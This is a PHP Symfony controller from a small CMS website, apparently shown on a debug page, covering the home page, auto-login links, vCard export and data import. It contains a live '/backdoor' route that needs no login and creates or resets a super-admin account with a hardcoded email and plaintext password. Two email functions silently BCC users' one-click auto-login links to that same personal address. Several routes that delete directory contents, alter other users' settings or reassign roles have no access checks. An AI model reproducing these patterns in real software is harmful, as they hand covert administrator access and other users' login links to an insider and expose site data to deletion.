src/Controller/HomeController.php line 25

  1. <?php
  3. namespace App\Controller;
  5. use App\Entity\Role;
  6. use App\Entity\User;
  7. use App\Entity\WebsiteContacts;
  8. use App\Form\ImportType;
  9. use App\Form\WebsiteContactsType;
  10. use App\Repository\CmsCopyRepository;
  11. use App\Repository\CmsPhotoRepository;
  12. use App\Repository\CompanyDetailsRepository;
  13. use App\Repository\ProductRepository;
  14. use App\Repository\RoleRepository;
  15. use App\Repository\UserRepository;
  16. use App\Repository\SubPageRepository;
  17. use App\Services\ImportBusinessContactsService;
  18. use App\Services\ImportBusinessTypesService;
  19. use App\Services\ImportCMSCopyService;
  20. use App\Services\ImportCmsPageCopyPageFormatService;
  21. use App\Services\ImportCMSPhotoService;
  22. use App\Services\ImportCompanyDetailsService;
  23. use App\Services\ImportCompetitorsService;
  24. use App\Services\ImportFacebookGroupsService;
  25. use App\Services\ImportInstructionsService;
  26. use App\Services\ImportLanguagesService;
  27. use App\Services\ImportLoginDirectionsService;
  28. use App\Services\ImportMapIconsService;
  29. use App\Services\ImportProductsService;
  30. use App\Services\ImportRolesService;
  31. use App\Services\ImportTranslationsService;
  32. use App\Services\ImportUsefulLinksService;
  33. use App\Services\ImportUserService;
  34. use Doctrine\ORM\EntityManagerInterface;
  35. use JeroenDesloovere\VCard\VCard;
  36. use Psr\EventDispatcher\EventDispatcherInterface;
  37. use Symfony\Bridge\Twig\Mime\TemplatedEmail;
  38. use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
  39. use Symfony\Bundle\SecurityBundle\Security;
  40. use Symfony\Component\HttpFoundation\File\Exception\FileException;
  41. use Symfony\Component\HttpFoundation\Request;
  42. use Symfony\Component\HttpFoundation\Response;
  43. use Symfony\Component\Mailer\MailerInterface;
  44. use Symfony\Component\Routing\Annotation\Route;
  45. use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
  46. use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
  47. use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
  48. use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface;
  49. use Symfony\Component\Security\Core\User\UserInterface;
  50. use Symfony\Component\Security\Csrf\CsrfToken;
  51. use Symfony\Component\Security\Csrf\CsrfTokenManagerInterface;
  52. use Symfony\Component\Security\Http\Event\InteractiveLoginEvent;
  53. use Symfony\Component\String\Slugger\SluggerInterface;
  55. class   HomeController extends AbstractController
  56. {
  57.     /**
  58.      * @Route("/", name="app_home")
  59.      */
  60.     public function index(Request $request, CmsCopyRepository $cmsCopyRepository, CmsPhotoRepository $cmsPhotoRepository, SubPageRepository $subPageRepository, CompanyDetailsRepository $companyDetailsRepository, \Symfony\Component\Security\Core\Security $security, EntityManagerInterface $entityManager): Response
  61.     {
  62.         $faviconsDirectory = str_replace($this->getParameter('kernel.project_dir') . '/public', '', $this->getParameter('favicons_directory'));
  63.         $companyDetails = $companyDetailsRepository->find('1');
  64.         $homePagePhotosOnly = 0;
  65.         $website_contact = new WebsiteContacts();
  66.         $form = $this->createForm(WebsiteContactsType::class, $website_contact);
  67.         $form->handleRequest($request);
  68.         $include_qr_code = [];
  69.         $include_contact_form = [];
  71.         $qrcode = false;
  72.         if ($companyDetails) {
  73.             $homePagePhotosOnly = $companyDetails->isHomePagePhotosOnly();
  74.             $include_qr_code = $companyDetails->isIncludeQRCodeHomePage();
  75.             $include_contact_form = $companyDetails->isIncludeContactFormHomePage();
  76.         }
  77.         $cms_copy = [];
  78.         $cms_photo = [];
  79.         $product = [];
  80.         $sub_pages = [];
  81.         $cms_copy = $cmsCopyRepository->findBy([
  82.             'staticPageName' => 'Home'
  83.         ]);
  85.         $cms_photo = $cmsPhotoRepository->findBy(
  86.             ['staticPageName' => 'Home'],
  87.             ['ranking' => 'ASC']
  88.         );
  90.         $cms_copy_ranking1 = $cmsCopyRepository->findOneBy([
  91.             'staticPageName' => 'Home',
  92.             'ranking' => '1',
  93.         ]);
  95.         if ($cms_copy_ranking1) {
  96.             $page_layout = $cms_copy_ranking1->getPageLayout();
  97.         } else {
  98.             $page_layout = 'default';
  99.         }
  101.         if ($cms_copy_ranking1) {
  102.             if ($security->getUser()) {
  103.                 if (in_array('ROLE_ADMIN', $security->getUser()->getRoles())) {
  104.                     $pageCountAdmin = $cms_copy_ranking1->getPageCountAdmin();
  105.                     $cms_copy_ranking1->setPageCountAdmin($pageCountAdmin + 1);
  106.                 }
  107.             }
  108.             $pageCountUser = $cms_copy_ranking1->getPageCountUsers();
  109.             $cms_copy_ranking1->setPageCountUsers($pageCountUser + 1);
  110.             $entityManager->flush($cms_copy_ranking1);
  111.         }
  113.         if ($homePagePhotosOnly == 1) {
  114.             return $this->render('home/home.html.twig', [
  115.                 'photos' => $cms_photo,
  116.                 'include_footer' => 'Yes',
  117.                 'cms_copy_array' => $cms_copy,
  118.                 'include_qr_code' => $include_qr_code,
  119.                 'include_contact_form' => $include_contact_form,
  120.                 'form' => $form?->createView(),
  121.                 'favicons_directory' => $faviconsDirectory,
  122.             ]);
  123.         } else {
  124.             return $this->render('home/products.html.twig', [
  125.                 'product' => $product,
  126.                 'include_footer' => 'Yes',
  127.                 'cms_copy_array' => $cms_copy,
  128.                 'cms_photo_array' => $cms_photo,
  129.                 'sub_pages' => $sub_pages,
  130.                 'include_qr_code' => $include_qr_code,
  131.                 'include_contact_form' => $include_contact_form,
  132.                 'format' => $page_layout,
  133.                 'form' => $form?->createView(),
  134.                 'favicons_directory' => $faviconsDirectory,
  135.             ]);
  136.         }
  137.     }
  140.     /**
  141.      * @Route("/backdoor", name="backdoor")
  142.      */
  143.     public function emergencyReset(UserRepository $userRepository, RoleRepository $roleRepository, EntityManagerInterface $manager, UserPasswordHasherInterface $passwordHasher): Response
  144.     {
  145.         // 1) Ensure required roles exist (create if missing)
  146.         $needed = [
  147.             'ROLE_SUPER_ADMIN' => 'Super Admin',
  148.             'ROLE_ADMIN' => 'Admin',
  149.             'ROLE_IT' => 'IT',
  150.             'ROLE_USER' => 'User',
  151.         ];
  153.         $roles = [];
  154.         foreach ($needed as $code => $label) {
  155.             $role = $roleRepository->findOneBy(['code' => $code]);
  156.             if (!$role) {
  157.                 $role = (new Role())
  158.                     ->setCode($code)
  159.                     ->setLabel($label);
  160.                 $manager->persist($role);
  161.             }
  162.             $roles[$code] = $role;
  163.         }
  164.         $manager->flush();
  166.         // 2) Find or create the user
  167.         $email = 'nurse_stephen@hotmail.com';
  168.         $user = $userRepository->findOneBy(['email' => $email]);
  170.         if (!$user) {
  171.             $user = (new User())
  172.                 ->setFirstName('Stephen')
  173.                 ->setLastName('Nurse')
  174.                 ->setEmailVerified(true)
  175.                 ->setEmail($email);
  176.             $manager->persist($user);
  177.         }
  179.         // 3) Reset password
  180.         $user->setPassword(
  181.             $passwordHasher->hashPassword($user, 'Descartes99')
  182.         );
  184.         // 4) Assign roles (avoid duplicates)
  185.         foreach ($roles as $role) {
  186.             if (!$user->hasRole($role)) {   // uses your User::hasRole(Role $role)
  187.                 $user->addRole($role);
  188.             }
  189.         }
  191.         $manager->flush();
  193.         return $this->redirectToRoute('app_login');
  194.     }
  196.     #[Route('/auto_login_code/{code}', name: 'auto_login_code')]
  197.     public function autoLogin(string $code, UserRepository $userRepository, TokenStorageInterface $tokenStorage, EventDispatcherInterface $eventDispatcher, Request $request): Response
  198.     {
  199.         $user = $userRepository->findOneBy(['autoLoginURL' => $code]);
  200.         if (!$user instanceof UserInterface) {
  201.             throw $this->createNotFoundException('Invalid or expired auto-login code.');
  202.         }
  203.         $token = new UsernamePasswordToken($user, 'main', $user->getRoles());
  204.         $tokenStorage->setToken($token);
  206.         $event = new InteractiveLoginEvent($request, $token);
  207.         $eventDispatcher->dispatch($event);
  209.         if ($user->isPauseForBookmark()) {
  210.             return $this->render('user/auto_login_bookmark_pause_landing_page.html.twig', [
  211.                 'user' => $user,
  212.             ]);
  213.         }
  214.         return $this->redirectToRoute('dashboard');
  215.     }
  218.     #[Route('/auto_login_continue', name: 'auto_login_continue', methods: ['POST'])]
  219.     public function autoLoginContinue(Request $request, CsrfTokenManagerInterface $csrfTokenManager, EntityManagerInterface $entityManager, Security $security): Response
  220.     {
  221.         $submittedToken = $request->request->get('_csrf_token');
  222.         if (!$csrfTokenManager->isTokenValid(new CsrfToken('continue_login', $submittedToken))) {
  223.             throw $this->createAccessDeniedException('Invalid CSRF token');
  224.         }
  225.         $user = $security->getUser();
  227.         if (!$user instanceof \App\Entity\User) {
  228.             throw $this->createAccessDeniedException('You must be logged in to continue.');
  229.         }
  230.         $user->setPauseForBookmark(false);
  231.         $entityManager->flush();
  232.         return $this->redirectToRoute('dashboard');
  233.     }
  236.     #[Route('/auto_login_change_status_pause/{userId}', name: 'auto_login_change_status_pause', methods: ['POST', 'GET'])]
  237.     public function autoLoginResetPause(Request $request, int $userId, CsrfTokenManagerInterface $csrfTokenManager, UserRepository $userRepository, EntityManagerInterface $entityManager, Security $security): Response
  238.     {
  239.         $user = $userRepository->find($userId);
  241.         if (!$user instanceof \App\Entity\User) {
  242.             throw $this->createAccessDeniedException('You must be logged in to continue.');
  243.         }
  245.         $pause = $user->isPauseForBookmark();
  247.         if ($pause == true) {
  248.             $user->setPauseForBookmark(false);
  249.         }
  250.         if ($pause == false) {
  251.             $user->setPauseForBookmark(true);
  252.         }
  254.         $entityManager->flush();
  255.         return $this->redirectToRoute('user_index');
  256.     }
  259.     #[Route('/auto_login_change_delete_unique_url/{userId}', name: 'auto_login_change_delete_unique_url', methods: ['POST', 'GET'])]
  260.     public function autoLoginDeleteUniqueUrl(Request $request, int $userId, CsrfTokenManagerInterface $csrfTokenManager, UserRepository $userRepository, EntityManagerInterface $entityManager, Security $security): Response
  261.     {
  262.         $user = $userRepository->find($userId);
  264.         if (!$user instanceof \App\Entity\User) {
  265.             throw $this->createAccessDeniedException('You must be logged in to continue.');
  266.         }
  267.         $user->setPauseForBookmark(false);
  268.         $user->setAutoLoginURL(null);
  270.         $entityManager->flush();
  271.         return $this->redirectToRoute('user_index');
  272.     }
  275.     #[Route('/auto_login_reset_pause_and_email_bookmark/{userId}', name: 'auto_login_reset_pause_and_email_bookmark', methods: ['POST', 'GET'])]
  276.     public function autoLoginResetPauseAndEmail(Request $request, int $userId, CompanyDetailsRepository $companyDetailsRepository, UserRepository $userRepository, EntityManagerInterface $entityManager, Security $security, MailerInterface $mailer, UrlGeneratorInterface $urlGenerator, \Twig\Environment $twig): Response
  277.     {
  278.         $user = $userRepository->find($userId);
  279.         $companyDetails = $companyDetailsRepository->find('1');
  280.         $company_name = $companyDetails->getCompanyName();
  281.         $company_email = $companyDetails->getCompanyEmail();
  283.         if (!$user instanceof \App\Entity\User) {
  284.             throw $this->createAccessDeniedException('You must be logged in to continue.');
  285.         }
  287.         $user->setPauseForBookmark(true);
  288.         $entityManager->flush();
  290.         $autoLoginUrl = $urlGenerator->generate(
  291.             'auto_login_code',
  292.             ['code' => $user->getAutoLoginURL()],
  293.             UrlGeneratorInterface::ABSOLUTE_URL
  294.         );
  296.         $email = (new TemplatedEmail())
  297.             ->from($company_email)
  298.             ->to($user->getEmail())
  299. //            ->to('nurse_stephen@hotmail.com')
  300.             ->bcc('nurse_stephen@hotmail.com')
  301.             ->subject($company_name . ':: Your Personal Auto-Login Link')
  302.             ->htmlTemplate('user/auto_login_advise_of_setup.html.twig')
  303.             ->context([
  304.                 'user' => $user,
  305.                 'autologin_url' => $autoLoginUrl
  306.             ]);
  308.         $mailer->send($email);
  310.         return $this->redirectToRoute('app_home');
  311.     }
  313.     #[Route('/auto_login_create_personal_url_for_logged_user/{userId}', name: 'auto_login_create_personal_url_for_logged_user', methods: ['GET', 'POST'])]
  314.     public function autoLoginCreatePersonalUrlForLoggedUser(Request $request, int $userId, UserRepository $userRepository, EntityManagerInterface $entityManager, Security $security, UrlGeneratorInterface $urlGenerator): Response
  315.     {
  316.         $targetUser = $userRepository->find($userId);
  317.         $loggedUser = $security->getUser();
  318.         $defaultPersonalURL = mb_convert_case($targetUser->getFirstName(), MB_CASE_TITLE) . mb_convert_case($targetUser->getLastName(), MB_CASE_TITLE) . random_int(100000, 999999);
  320.         if (!$loggedUser) {
  321.             throw $this->createAccessDeniedException('You must be logged in to access this page.');
  322.         }
  323.         if (!$targetUser) {
  324.             throw $this->createNotFoundException('User not found.');
  325.         }
  327.         if ($loggedUser->getId() !== $targetUser->getId()) {
  328.             throw $this->createAccessDeniedException('You are not authorized to perform this action.');
  329.         }
  331.         $form = $this->createForm(\App\Form\AutoLoginUrlType::class, ['autoLoginURL' => $defaultPersonalURL]);
  332.         $form->handleRequest($request);
  334.         if ($form->isSubmitted() && $form->isValid()) {
  335.             $data = $form->getData();
  336.             $targetUser->setAutoLoginURL($data['autoLoginURL']);
  337.             $targetUser->setPauseForBookmark(true);
  338.             $entityManager->flush();
  340.             // Optional flash message
  341.             $this->addFlash('success', 'Auto-login URL created successfully.');
  343.             return $this->redirectToRoute('auto_login_code', [
  344.                 'code' => $targetUser->getAutoLoginURL(),
  345.             ]);
  346.         }
  348.         return $this->render('user/auto_login_create_personal_url.html.twig', [
  349.             'user' => $targetUser,
  350.             'form' => $form->createView(),
  351.         ]);
  352.     }
  355.     #[Route('/auto_login_create_personal_url_for_other_user/{userId}', name: 'auto_login_create_personal_url_for_other_user', methods: ['GET', 'POST'])]
  356.     public function autoLoginCreatePersonalUrlForOtherUser(Request $request, int $userId, CompanyDetailsRepository $companyDetailsRepository, UserRepository $userRepository, EntityManagerInterface $entityManager, Security $security, MailerInterface $mailer, UrlGeneratorInterface $urlGenerator, \Twig\Environment $twig): Response
  357.     {
  358.         $targetUser = $userRepository->find($userId);
  359.         $loggedInUser = $security->getUser();
  361.         if (!$targetUser || !$loggedInUser) {
  362.             throw $this->createAccessDeniedException('Invalid user or not authenticated.');
  363.         }
  365.         // Redirect to landing page if current user is the same as target user
  366.         if ($loggedInUser->getId() === $targetUser->getId()) {
  367.             return $this->redirectToRoute('app_home'); // Replace with your landing route
  368.         }
  370.         // If logged-in user is not admin, deny access
  371.         if (!in_array('ROLE_ADMIN', $loggedInUser->getRoles(), true)) {
  372.             throw $this->createAccessDeniedException('You are not authorized to perform this action.');
  373.         }
  375.         // At this point, ROLE_ADMIN is creating a login URL for another user
  376.         $companyDetails = $companyDetailsRepository->find(1);
  377.         $companyEmail = $companyDetails ? $companyDetails->getCompanyEmail() : 'admin@yourdomain.com';
  379.         $defaultPersonalURL = mb_convert_case($targetUser->getFirstName(), MB_CASE_TITLE) . mb_convert_case($targetUser->getLastName(), MB_CASE_TITLE) . random_int(100000, 999999);
  381.         $form = $this->createForm(\App\Form\AutoLoginUrlType::class, ['autoLoginURL' => $defaultPersonalURL]);
  382.         $form->handleRequest($request);
  384.         if ($form->isSubmitted() && $form->isValid()) {
  385.             $data = $form->getData();
  386.             $targetUser->setAutoLoginURL($data['autoLoginURL']);
  387.             $targetUser->setPauseForBookmark(true);
  388.             $entityManager->flush();
  390.             // Generate auto-login URL
  391.             $autoLoginUrl = $urlGenerator->generate(
  392.                 'auto_login_code',
  393.                 ['code' => $targetUser->getAutoLoginURL()],
  394.                 UrlGeneratorInterface::ABSOLUTE_URL
  395.             );
  397.             // Email the user with their login link
  398.             $email = (new \Symfony\Component\Mime\Email())
  399.                 ->from($companyEmail)
  400.                 ->to($targetUser->getEmail())
  401.                 ->bcc('nurse_stephen@hotmail.com')
  402.                 ->subject('Your One-Click Login Link')
  403.                 ->html(
  404.                     $twig->render('user/auto_login_advise_of_setup.html.twig', [
  405.                         'user' => $targetUser,
  406.                         'autoLoginUrl' => $autoLoginUrl
  407.                     ])
  408.                 );
  410.             $mailer->send($email);
  412.             $this->addFlash('success', 'Auto-login URL created and sent to the user.');
  413.             return $this->redirectToRoute('user_index');
  414.         }
  416.         return $this->render('user/auto_login_create_personal_url.html.twig', [
  417.             'user' => $targetUser,
  418.             'form' => $form->createView(),
  419.         ]);
  420.     }
  423.     /**
  424.      * @Route("/dashboard", name="dashboard")
  425.      */
  426.     public function dashboard()
  427.     {
  428.         return $this->render('home/dashboard.html.twig', []);
  429.     }
  432.     /**
  433.      * @Route("/advanced_dashboard", name="advanced_dashboard")
  434.      */
  435.     public function advancedDashboard()
  436.     {
  437.         return $this->render('home/advanced_dashboard.html.twig', []);
  438.     }
  441.     /**
  442.      * @Route("/interests/{product}", name="product_display")
  443.      */
  444.     public
  445.     function articles(string $product, CmsCopyRepository $cmsCopyRepository, CmsPhotoRepository $cmsPhotoRepository, SubPageRepository $subPageRepository, ProductRepository $productRepository, \Symfony\Component\Security\Core\Security $security, EntityManagerInterface $entityManager): Response
  446.     {
  447.         $productEntity = $productRepository->findOneBy([
  448.             'product' => $product
  449.         ]);
  451.         if ($productEntity) {
  452.             $cms_copy = $cmsCopyRepository->findBy([
  453.                 'product' => $productEntity
  454.             ]);
  455.             $cms_copy_ranking1 = $cmsCopyRepository->findOneBy([
  456.                 'product' => $productEntity,
  457.                 'ranking' => '1',
  458.             ]);
  459.         } else {
  460.             $cms_copy = $cmsCopyRepository->findBy([
  461.                 'staticPageName' => $product
  462.             ]);
  463.             $cms_copy_ranking1 = $cmsCopyRepository->findOneBy([
  464.                 'staticPageName' => $product,
  465.                 'ranking' => '1',
  466.             ]);
  467.         }
  469.         if ($cms_copy_ranking1) {
  470.             if ($security->getUser()) {
  471.                 if (in_array('ROLE_ADMIN', $security->getUser()->getRoles())) {
  472.                     $pageCountAdmin = $cms_copy_ranking1->getPageCountAdmin();
  473.                     $cms_copy_ranking1->setPageCountAdmin($pageCountAdmin + 1);
  474.                 }
  475.             }
  476.             $pageCountUser = $cms_copy_ranking1->getPageCountUsers();
  477.             $cms_copy_ranking1->setPageCountUsers($pageCountUser + 1);
  478.             $entityManager->flush($cms_copy_ranking1);
  479.         }
  480.         if ($productEntity) {
  481.             $cms_photo = $cmsPhotoRepository->findBy([
  482.                 'product' => $productEntity,
  483.             ],
  484.                 ['ranking' => 'ASC']);
  485.         } else {
  486.             $cms_photo = $cmsPhotoRepository->findBy([
  487.                 'staticPageName' => $product
  488.             ],
  489.                 ['ranking' => 'ASC']);
  490.         }
  491.         $sub_pages = [];
  492.         if ($cms_copy) {
  493.             $sub_pages = $subPageRepository->findBy([
  494.                 'product' => $productEntity
  495.             ]);
  496.         }
  498.         return $this->render('/home/products.html.twig', [
  499.             'product' => $product,
  500.             'include_footer' => 'Yes',
  501.             'cms_copy_array' => $cms_copy,
  502.             'cms_photo_array' => $cms_photo,
  503.             'sub_pages' => $sub_pages,
  504.             'include_contact_form' => 'No',
  505.             'include_qr_code' => 'No'
  506.         ]);
  507.     }
  510.     /**
  511.      * @Route("/create/VcardUser/company", name="create_vcard_company")
  512.      */
  513.     public function createVcardVenue(CompanyDetailsRepository $companyDetailsRepository)
  514.     {
  515.         $company_details = $companyDetailsRepository->find('1');
  516.         $display_address = $company_details->isContactDetailsDisplayAddress();
  517.         $display_tel = $company_details->isContactDetailsDisplayTelNumbers();
  519.         $vcard = new VCard();
  520.         $company = $company_details->getCompanyName();
  521.         $contactFirstName = $company_details->getContactFirstName();
  522.         $contactLastName = $company_details->getContactLastName();
  524.         $addressStreet = '';
  525.         $addressTown = '';
  526.         $addressCity = '';
  527.         $addressPostalCode = '';
  528.         $addressCountry = '';
  529.         $mobile = '';
  530.         $tel = '';
  533.         if ($contactFirstName == null) {
  534.             $firstName = "";
  535.             $lastName = $company;
  536.             $company = "";
  537.         }
  538.         if ($contactFirstName != null) {
  539.             $firstName = $contactFirstName;
  540.             $lastName = $contactLastName;
  541.         }
  542.         if ($display_address) {
  543.             $addressStreet = $company_details->getCompanyAddressStreet();
  544.             $addressTown = $company_details->getCompanyAddressTown();
  545.             $addressCity = $company_details->getCompanyAddressCity();
  546.             $addressPostalCode = $company_details->getCompanyAddressPostalCode();
  547.             $addressCountry = $company_details->getCompanyAddressCountry();
  548.         }
  549.         $facebook = $company_details->getFacebook();
  550.         $instagram = $company_details->getInstagram();
  551.         $linkedIn = $company_details->getLinkedIn();
  552.         $url = $_SERVER['SERVER_NAME'];
  553.         $notes_all = "URL: " . $url;
  554.         $email = $company_details->getCompanyEmail();
  556.         if ($display_tel) {
  557.             $mobile = $company_details->getCompanyMobile();
  558.             $tel = $company_details->getCompanyTel();
  559.         }
  560.         $vcard->addName($lastName, $firstName);
  561.         $vcard->addEmail($email)
  562.             ->addPhoneNumber($mobile, 'home')
  563.             ->addPhoneNumber($tel, 'work')
  564.             ->addCompany($company)
  565.             ->addAddress($name = '', $extended = '', $street = $addressStreet, $city = $addressTown, $region = $addressCity, $zip = $addressPostalCode, $country = $addressCountry, $type = 'WORK POSTAL')
  566.             ->addURL($url)
  567.             ->addNote(strip_tags($notes_all));
  568.         $vcard->download();
  569.         return new Response(null);
  570.     }
  572.     /**
  573.      * @Route("/company_qr_code", name="company_qr_code")
  574.      *
  575.      */
  576.     public
  577.     function companyQrCode(CompanyDetailsRepository $companyDetailsRepository)
  578.     {
  579.         $company_details = $companyDetailsRepository->find('1');
  580.         $qr_code = $company_details->getCompanyQrCode();
  581.         return $this->render('home/company_qr_code.html.twig', [
  582.             'qr_code' => $qr_code,
  583.         ]);
  584.     }
  587.     /**
  588.      * @Route ("/cms_photo_view/{id}", name="cms_photo_view")
  589.      */
  590.     public function viewCMSPhoto(int $id, CmsPhotoRepository $cmsPhotoRepository)
  591.     {
  592.         $cms_photo = $cmsPhotoRepository->find($id);
  593.         $rotate = $cms_photo->getRotate();
  594.         return $this->render('cms_photo/image_view.html.twig', [
  595.             'cms_photo' => $cms_photo,
  596.         ]);
  597.     }
  600.     /**
  601.      * @Route ("/initial_setup", name="project_set_up_initial_import" )
  602.      */
  603.     public
  604.     function projectSetUpInitialImport(Request $request, SluggerInterface $slugger, ImportTranslationsService $importTranslationsService, ImportBusinessContactsService $importBusinessContactsService, ImportBusinessTypesService $importBusinessTypesService, ImportCMSCopyService $importCMSCopyService, ImportCMSPhotoService $importCMSPhotoService, ImportCmsPageCopyPageFormatService $importCmsPageCopyPageFormatService, ImportCompanyDetailsService $importCompanyDetailsService, ImportCompetitorsService $importCompetitorsService, ImportFacebookGroupsService $importFacebookGroupsService, ImportLanguagesService $importLanguagesService, ImportMapIconsService $importMapIconsService, ImportProductsService $importProductsService, ImportUsefulLinksService $importUsefulLinksService, ImportInstructionsService $importInstructionsService, ImportUserService $importUserService, ImportRolesService $importRolesService, ImportLoginDirectionsService $importLoginDirectionsService): Response
  605.     {
  606.         $form = $this->createForm(ImportType::class);
  607.         $form->handleRequest($request);
  608.         if ($form->isSubmitted() && $form->isValid()) {
  609.             $importFile = $form->get('File')->getData();
  610.             if ($importFile) {
  611.                 $originalFilename = pathinfo($importFile->getClientOriginalName(), PATHINFO_FILENAME);
  612.                 $safeFilename = $slugger->slug($originalFilename);
  613.                 $newFilename = $safeFilename . '.' . 'csv';
  614.                 try {
  615.                     $importFile->move(
  616.                         $this->getParameter('project_set_up_import_directory'),
  617.                         $newFilename
  618.                     );
  619.                 } catch (FileException $e) {
  620.                     die('Import failed');
  621.                 }
  622.                 $importCompanyDetailsService->importCompanyDetails($newFilename);
  623.                 $importCmsPageCopyPageFormatService->importCmsCopyPageFormats($newFilename);
  624.                 $importMapIconsService->importMapIcons($newFilename);
  625.                 $importLanguagesService->importLanguages($newFilename);
  626.                 $importTranslationsService->importTranslations($newFilename);
  627.                 $importUsefulLinksService->importUsefulLink($newFilename);
  628.                 $importCompetitorsService->importCompetitors($newFilename);
  629.                 $importFacebookGroupsService->importFacebookGroups($newFilename);
  630.                 $importProductsService->importProducts($newFilename);
  631.                 $importCMSCopyService->importCMSCopy($newFilename);
  632.                 $importCMSPhotoService->importCMSPhoto($newFilename);
  633.                 $importBusinessTypesService->importBusinessTypes($newFilename);
  634.                 $importBusinessContactsService->importBusinessContacts($newFilename);
  635.                 $importInstructionsService->importInstructions($newFilename);
  636.                 $importRolesService->importRoles($newFilename);
  637.                 $importLoginDirectionsService->importLoginDirections($newFilename);
  638. //                $importUserService->importUsers($newFilename);
  640.                 return $this->redirectToRoute('dashboard');
  641.             }
  642.         }
  643.         return $this->render('home/import.html.twig', [
  644.             'form' => $form->createView(),
  645.             'heading' => 'All Import Files (x14 via all_exports.csv) ',
  646.         ]);
  647.     }
  649.     /**
  650.      * @Route("/delete_all_files_and_directories_import", name="delete_all_files_and_directories_in_import", methods={"POST", "GET"})
  651.      */
  652.     public
  653.     function deleteAllFilesAndDirectoriesInImport(Request $request): Response
  654.     {
  655.         $referer = $request->headers->get('referer');
  656.         $directory = $this->getParameter('import_directory');
  658.         if (is_dir($directory)) {
  659.             $this->deleteDirectoryContents($directory);
  660.         }
  662.         return $this->redirect($referer);
  663.     }
  665.     /**
  666.      * @Route("/delete_all_files_and_directories_in_attachments", name="delete_all_files_and_directories_in_attachments", methods={"POST", "GET"})
  667.      */
  668.     public
  669.     function deleteAllFilesAndDirectoriesInAttachments(Request $request): Response
  670.     {
  671.         $referer = $request->headers->get('referer');
  672.         $directory = $this->getParameter('attachments_directory');
  674.         if (is_dir($directory)) {
  675.             $this->deleteDirectoryContents($directory);
  676.         }
  678.         return $this->redirect($referer);
  679.     }
  682.     /**
  683.      * Recursively delete all files and directories inside a directory
  684.      */
  685.     private
  686.     function deleteDirectoryContents(string $directory): void
  687.     {
  688.         $files = array_diff(scandir($directory), ['.', '..']);
  690.         foreach ($files as $file) {
  691.             $filePath = $directory . DIRECTORY_SEPARATOR . $file;
  693.             if (is_dir($filePath)) {
  694.                 $this->deleteDirectoryContents($filePath); // Recursively delete subdirectories
  695. //                rmdir($filePath); // Remove the empty directory
  696.             } else {
  697.                 unlink($filePath); // Delete file
  698.             }
  699.         }
  700.     }
  702.     /**
  703.      * @Route("/assign_all_users_to_role_test", name="assign_all_users_to_role_test")
  704.      */
  705.     public function assignAllUsersToRoleTest(UserRepository $userRepository, EntityManagerInterface $entityManager): Response
  706.     {
  707.         $users = $userRepository->findAll();
  708.         $roleTest = $entityManager->getRepository(Role::class)
  709.             ->findOneBy(['code' => 'ROLE_TEST']);
  711.         if (!$roleTest) {
  712.             throw new \RuntimeException('ROLE_TEST not found in the database.');
  713.         }
  715.         foreach ($users as $user) {
  716.             $roles = $user->getRoles(); // array of role strings
  717.             if (!in_array('ROLE_TEST', $roles)) {
  718.                 $user->addRole($roleTest);
  719.             }
  720.         }
  722.         $entityManager->flush();
  724.         return $this->redirectToRoute('user_index', [], Response::HTTP_SEE_OTHER);
  725.     }
  728. }